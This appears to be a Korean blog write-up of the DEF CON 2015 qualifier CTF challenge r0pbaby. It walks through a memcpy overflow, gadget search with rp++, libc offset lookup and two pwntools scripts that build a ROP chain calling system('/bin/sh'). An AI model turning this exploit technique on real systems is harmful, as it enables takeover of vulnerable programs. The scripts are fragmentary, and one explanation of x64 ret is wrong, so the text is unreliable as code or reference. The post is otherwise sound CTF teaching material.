[[ 문제 ]] https://github.com/ctfs/write-ups-2015/tree/master/defcon-qualifier-ctf-2015/babys-first/r0pbaby |
Welcome to an easy Return Oriented Programming challenge... |
내부 코드를 보면 다음과 같이 memcpy에서 overflow가 발생 합니다.
__int64 __fastcall main(__int64 a1, char **a2, char **a3) setvbuf(stdout, 0LL, 2, 0LL); |
해당 코드는 입력한 숫자 만큼 입력 값을 복사하고 입력한 숫자보다 많은 양이 들어올 경우 overflow가 발생하여
프로그램이 종료 됩니다.
공격하기 용이한 코드를 입력 해 볼까요?
babyhack@ubuntu:~/tmp$ (python -c 'print "3\n" + "20\n" + "a"*30 + "\n"';cat) | ./r0pbaby Welcome to an easy Return Oriented Programming challenge... Segmentation fault (core dumped) |
편리한 공격 코드가 만들어졌으니 이제부턴 주소를 계산하여 실제 exploit을 작성해 보도록 하겠습니다.
이젠 gdb를 활용하여 메모리에 할당된 정보를 확인 해 봅시다.
babyhack@ubuntu:~/tmp$ gdb -q r0pbaby Welcome to an easy Return Oriented Programming challenge... Start Addr End Addr Size Offset objfile |
gdb를 통하여, bof를 발생 시키고 메모리를 확인 하도록 합니다.
(gdb) r Welcome to an easy Return Oriented Programming challenge... Program received signal SIGSEGV, Segmentation fault. Welcome to an easy Return Oriented Programming challenge... Program received signal SIGSEGV, Segmentation fault. |
입력 받을 숫자를 입력하고 입력한 숫자만큼 문자를 입력할 경우 주소를 컨트롤 가능합니다.
따라서, 쉘코드가 충분히 들어갈 수 있는 사이즈로 입력 크기를 잡고 메모리 확인을 해야 합니다.
Welcome to an easy Return Oriented Programming challenge... Program received signal SIGSEGV, Segmentation fault. |
ret 명령어는 esp의 첫번째 주소를 가지고 옵니다.
하지만, x64의 경우는 ret 명령어는 rdi의 주소를 가지고 오므로 pop rdi; ret 주소가 필요하게 됩니다.
[[ x64 ret 주소 참조 순서 ]] rdi -> rsi -> rdx -> r10 -> r9 -> r8 > ....... |
따라서, Gadget을 찾아야 합니다.
(※ rp++를 활용하면 쉽게 얻을 수 있습니다.)
babyhack@ubuntu:~/tmp$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc.so.6 -r 4 | grep "pop rdi" | more |
그럼 이젠 payload를 작성해 보도록 하겠습니다.
[buff] + gadget [pop rdi; ret] + [/bin/sh string addr] + [system addr]
[[ /bin/sh 문자열 offset 확인 ]]
[[ system 함수 offset 확인 ]] babyhack@ubuntu:~/tmp$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "system"
[[ 라이브러리 주소 확인 ]] babyhack@ubuntu:~/tmp$ ldd ./r0pbaby |
그럼 exploit을 짜봅시다.
[[ exploit - 1 ]]
from pwn import * endian = lambda x:struct.pack('<Q', x) binsh_offset = 0x17ccdb
s = process("./r0pbaby")
s.send("1\n") # 1. Get libc address
print s.recvuntil(": ") # Menu s.send("2\n") # 2. Get address of a libc function
# payload print "[*] Payload : %s" % payload s.send("3\n") |
[[ 결과 ]] babyhack@ubuntu:~/tmp$ python exp.py Welcome to an easy Return Oriented Programming challenge... [*] Payload : AAAAAAAA1O\xac��\x7f\x00\x00\x8bV���\x00\x00@\x06\x0f��\x7f\x00\x00 |
쉘은 떨어졌지만 명령어가 입력되지 않습니다.
따라서, 주소를 다시 얻어서 사용하는 방식으로 코드를 수정 했습니다.
[[ exp 2.py ]]
from pwn import *
endian = lambda x:struct.pack('<Q', x) binsh_offset = 0x17ccdb
s = process("./r0pbaby") print s.recvuntil(": ") # Menu s.send("1\n") # 1. Get libc address
print s.recvuntil(": ") # Menu s.send("2\n") # 2. Get address of a libc function system_addr = eval(system_recv.split(':')[1]) print "[*] System Addr split : 0x%08X" % system_addr
# payload print "[*] Payload : %s" % payload
s.send("3\n") s.interactive() |
[[ 결과 ]]
babyhack@ubuntu:~/tmp$ python 2exp.py Welcome to an easy Return Oriented Programming challenge... [*] System Addr split : 0x7F433E785640 |
'Reverse > pwnable' 카테고리의 다른 글
[vagrant] CGC (Cyber Grand Challenge) 환경 구축 (0) | 2016.08.02 |
---|---|
[pwntools] test code (0) | 2016.07.27 |
[pwntools] 함수 offset 계산 방법 (0) | 2016.07.21 |
[defcon 24 - 2016] Reversing - baby-re (0) | 2016.05.24 |
[pcf2013] ropasaurusrex (0) | 2016.05.11 |